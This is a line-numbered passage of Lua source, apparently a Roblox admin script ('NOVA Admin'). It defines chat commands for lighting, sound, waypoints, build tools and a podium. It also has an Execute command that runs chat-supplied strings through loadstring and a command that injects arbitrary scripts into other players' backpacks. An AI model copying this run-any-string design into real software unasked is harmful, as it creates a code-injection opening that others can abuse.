4699 | v:Destroy() | |
4700 | end | |
4701 | end | |
4702 | end | |
4703 | ) | |
4704 | ||
4705 | AddCommand("Execute","exe",6,"Loads the following string.","<Source>", | |
4706 | function(Msg,Speaker) | |
4707 | if Msg == nil or #Msg == 0 then | |
4708 | RemoveTablets(Speaker) | |
4709 | local Data = GetRankedTable(Speaker) | |
4710 | for _,v in pairs(Data.Executeables:children()) do | |
4711 | Output(v.Name,Data.Color,Speaker,nil, | |
4712 | function() | |
4713 | local a,b=coroutine.resume(coroutine.create(function() loadstring([[ | |
4714 | --[=[NOVA Internal Executeable Script ]=]-- | |
4715 | Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") | |
4716 | ]] .. v.Value .. [[]])() end)) | |
4717 | if not a then | |
4718 | Output(b,NOVA.Colors.Red,Speaker,15) | |
4719 | else | |
4720 | Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5) | |
4721 | end | |
4722 | end | |
4723 | ) | |
4724 | end | |
4725 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4726 | else | |
4727 | Source = Msg | |
4728 | --Source = string.gsub(Source,"print(","PrintS(") | |
4729 | --Source = string.gsub(Source,"print'","PrintS'") | |
4730 | local a,b=coroutine.resume(coroutine.create(function() loadstring([[Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") ]] .. Source)() end)) | |
4731 | if not a then | |
4732 | Output(b,NOVA.Colors.Red,Speaker,15) | |
4733 | else | |
4734 | Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5) | |
4735 | end | |
4736 | end | |
4737 | end | |
4738 | ) | |
4739 | ||
4740 | AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments", | |
4741 | function(Msg,Speaker) | |
4742 | pcall(function() | |
4743 | CreateLocalScript([[ | |
4744 | game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera | |
4745 | ]], | |
4746 | Speaker.Backpack) | |
4747 | ||
4748 | end) | |
4749 | end | |
4750 | ) | |
4751 | ||
4752 | AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>", | |
4753 | function(Msg,Speaker) | |
4754 | pcall(function() | |
4755 | NOVA.Sounds.Sound.Pitch = tonumber(Msg) | |
4756 | end) | |
4757 | end | |
4758 | ) | |
4759 | AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>", | |
4760 | function(Msg,Speaker) | |
4761 | pcall(function() | |
4762 | NOVA.Sounds.Sound.Looped = Msg | |
4763 | end) | |
4764 | end | |
4765 | ) | |
4766 | AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments", | |
4767 | function(Msg,Speaker) | |
4768 | Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end) | |
4769 | end | |
4770 | ) | |
4771 | AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>", | |
4772 | function(Msg,Speaker) | |
4773 | local Give = {} | |
4774 | for _,v in pairs(NOVA.Plugins) do | |
4775 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
4776 | function() | |
4777 | table.insert(Give,v:Clone()) | |
4778 | end | |
4779 | ) | |
4780 | end | |
4781 | Output("Done",NOVA.Colors.Green,Speaker,nil, | |
4782 | function() | |
4783 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4784 | for _,Tool in pairs(Give) do | |
4785 | New = Tool:Clone() | |
4786 | New.Parent = v.Backpack | |
4787 | pcall(function() | |
4788 | New.Disabled = false | |
4789 | end) | |
4790 | end | |
4791 | end | |
4792 | RemoveTablets(Speaker) | |
4793 | end | |
4794 | ) | |
4795 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4796 | end | |
4797 | ) | |
4798 | AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>", | |
4799 | function(Msg,Speaker) | |
4800 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4801 | pcall(function() | |
4802 | for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
4803 | part.Locked = true | |
4804 | end | |
4805 | end) | |
4806 | end | |
4807 | end | |
4808 | ) | |
4809 | AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>", | |
4810 | function(Msg,Speaker) | |
4811 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4812 | pcall(function() | |
4813 | for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
4814 | part.Locked = false | |
4815 | end | |
4816 | end) | |
4817 | end | |
4818 | end | |
4819 | ) | |
4820 | AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>", | |
4821 | function(Msg,Speaker) | |
4822 | Split = GetSplit(Msg) | |
4823 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
4824 | pcall(function() | |
4825 | CreateLocalScript(Msg:sub(Split+1),v.Backpack) | |
4826 | end) | |
4827 | end | |
4828 | end | |
4829 | ) | |
4830 | AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>", | |
4831 | function(Msg,Speaker) | |
4832 | NOVA.Services.Lighting.Brightness = tonumber(Msg) | |
4833 | end | |
4834 | ) | |
4835 | AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>", | |
4836 | function(Msg,Speaker) | |
4837 | pcall(function() | |
4838 | Rtn = CFrame.new( | |
4839 | Speaker.Character.Torso.CFrame.x, | |
4840 | Speaker.Character.Torso.CFrame.y, | |
4841 | Speaker.Character.Torso.CFrame.z | |
4842 | ) | |
4843 | table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn}) | |
4844 | end) | |
4845 | end | |
4846 | ) | |
4847 | AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments", | |
4848 | function(Msg,Speaker) | |
4849 | for _,v in pairs(NOVA.Waypoints) do | |
4850 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function() | |
4851 | pcall(function() | |
4852 | RemoveTablets(Speaker) | |
4853 | Speaker.Character.Torso.CFrame = v.CFrame | |
4854 | end) | |
4855 | end) | |
4856 | end | |
4857 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4858 | end | |
4859 | ) | |
4860 | AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments", | |
4861 | function(Msg,Speaker) | |
4862 | Rtn = {} | |
4863 | for num,v in pairs(NOVA.Waypoints) do | |
4864 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function() | |
4865 | table.insert(Rtn,num) | |
4866 | end) | |
4867 | end | |
4868 | Output("Done",NOVA.Colors.Green,Speaker,nil,function() | |
4869 | RemoveTablets(Speaker) | |
4870 | for _,v in pairs(Rtn) do | |
4871 | table.remove(NOVA.Waypoints,v) | |
4872 | end | |
4873 | end) | |
4874 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4875 | end | |
4876 | ) | |
4877 | AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>", | |
4878 | function(Msg,Speaker) | |
4879 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4880 | pcall(function() | |
4881 | for i=0,3 do | |
4882 | Instance.new("HopperBin",v.Backpack).BinType = i | |
4883 | end | |
4884 | end) | |
4885 | end | |
4886 | end | |
4887 | ) | |
4888 | AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments", | |
4889 | function(Msg,Speaker) | |
4890 | local MainColor = Color3.new(0,0,0) | |
4891 | local SeccondaryColor = Color3.new(0.69,0.13,0.13) | |
4892 | local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium" | |
4893 | local MainCFrame = Speaker.Character.Torso.CFrame | |
4894 | * CFrame.new(0,-4,0) | |
4895 | + Speaker.Character.Torso.CFrame.lookVector*3 | |
4896 | local SeccondaryCFrame = Speaker.Character.Torso.CFrame | |
4897 | * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 ) | |
4898 | + Speaker.Character.Torso.CFrame.lookVector*3 | |
4899 | if CFrame == nil then return end | |
4900 | coroutine.resume(coroutine.create(function() | |
4901 | ||
4902 | for i=1,25 do | |
4903 | wait() | |
4904 | local Step = Instance.new("Part",Main) | |
4905 | Step.FormFactor = "Custom" | |
4906 | Step.Name = "Step" | |
4907 | Step.Anchored = true | |
4908 | Step.Locked = true | |
4909 | Step.Reflectance = 0 | |
4910 | Step.TopSurface = "Smooth" | |
4911 | Step.BottomSurface = "Smooth" | |
4912 | Step.BrickColor = BrickColor.new(SeccondaryColor) | |
4913 | Step.Size = Vector3.new(6,1,3) | |
4914 | Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2)) | |
4915 | Instance.new("BlockMesh",Step) | |
4916 | ||
4917 | local Carpet = Instance.new("Part",Main) | |
4918 | Carpet.FormFactor = "Custom" | |
4919 | Carpet.Name = "Carpet" | |
4920 | Carpet.Anchored = true | |
4921 | Carpet.Locked = true | |
4922 | Carpet.Reflectance = 0 | |
4923 | Carpet.TopSurface = "Smooth" | |
4924 | Carpet.BottomSurface = "Smooth" | |
4925 | Carpet.BrickColor = BrickColor.new(MainColor) | |
4926 | Carpet.Size = Vector3.new(4,1,3.2) | |
4927 | Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2)) | |
4928 | Instance.new("BlockMesh",Carpet) | |
4929 | end | |
4930 | local MainCirc = Instance.new("Part",Main) | |
4931 | MainCirc.FormFactor = "Custom" | |
4932 | MainCirc.Name = "MainCirc" | |
4933 | MainCirc.Anchored = true | |
4934 | MainCirc.Locked = true | |
4935 | MainCirc.Reflectance = 0 | |
4936 | MainCirc.TopSurface = "Smooth" | |
4937 | MainCirc.BottomSurface = "Smooth" | |
4938 | MainCirc.BrickColor = BrickColor.new(SeccondaryColor) | |
4939 | MainCirc.Size = Vector3.new(20,1,20) | |
4940 | MainCirc.CFrame = SeccondaryCFrame | |
4941 | Instance.new("CylinderMesh",MainCirc) | |
4942 | ||
4943 | local SeccondaryCirc = Instance.new("Part",Main) | |
4944 | SeccondaryCirc.FormFactor = "Custom" | |
4945 | SeccondaryCirc.Name = "SeccondaryCirc" | |
4946 | SeccondaryCirc.Anchored = true | |
4947 | SeccondaryCirc.Locked = true | |
4948 | SeccondaryCirc.Reflectance = 0 | |
4949 | SeccondaryCirc.TopSurface = "Smooth" | |
4950 | SeccondaryCirc.BottomSurface = "Smooth" | |
4951 | SeccondaryCirc.BrickColor = BrickColor.new(MainColor) | |
4952 | SeccondaryCirc.Size = Vector3.new(18,1,18) | |
4953 | SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0) | |
4954 | Instance.new("CylinderMesh",SeccondaryCirc) | |
4955 | for i=1,math.floor(360/6) do | |
4956 | local Spike = Instance.new("Part",Main) | |
4957 | Spike.FormFactor = "Custom" | |
4958 | Spike.Name = "Spike" | |
4959 | Spike.Anchored = true | |
4960 | Spike.Locked = true | |
4961 | Spike.Reflectance = 0 | |
4962 | Spike.TopSurface = "Smooth" | |
4963 | Spike.BottomSurface = "Smooth" | |
4964 | Spike.BrickColor = BrickColor.new(MainColor) | |
4965 | Spike.Size = Vector3.new(1,7,1) | |
4966 | Spike.CFrame = SeccondaryCFrame | |
4967 | * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45)) | |
4968 | * CFrame.new(7,-7,0) | |
4969 | Torch = Instance.new("Part",Main) | |
4970 | Torch.Reflectance = 1e+999 | |
4971 | Torch.FormFactor = "Custom" | |
4972 | Torch.Shape = "Ball" | |
4973 | Torch.Anchored = true | |
4974 | Torch.Locked = true | |
4975 | Torch.Size = Vector3.new(2,2,2) | |
4976 | Torch.CFrame = Spike.CFrame | |
4977 | * CFrame.new(0,3.5,0) | |
4978 | * CFrame.Angles(0,0,0) | |
4979 | Instance.new("Fire",Torch) | |
4980 | end | |
4981 | end)) | |
4982 | end | |
4983 | ) |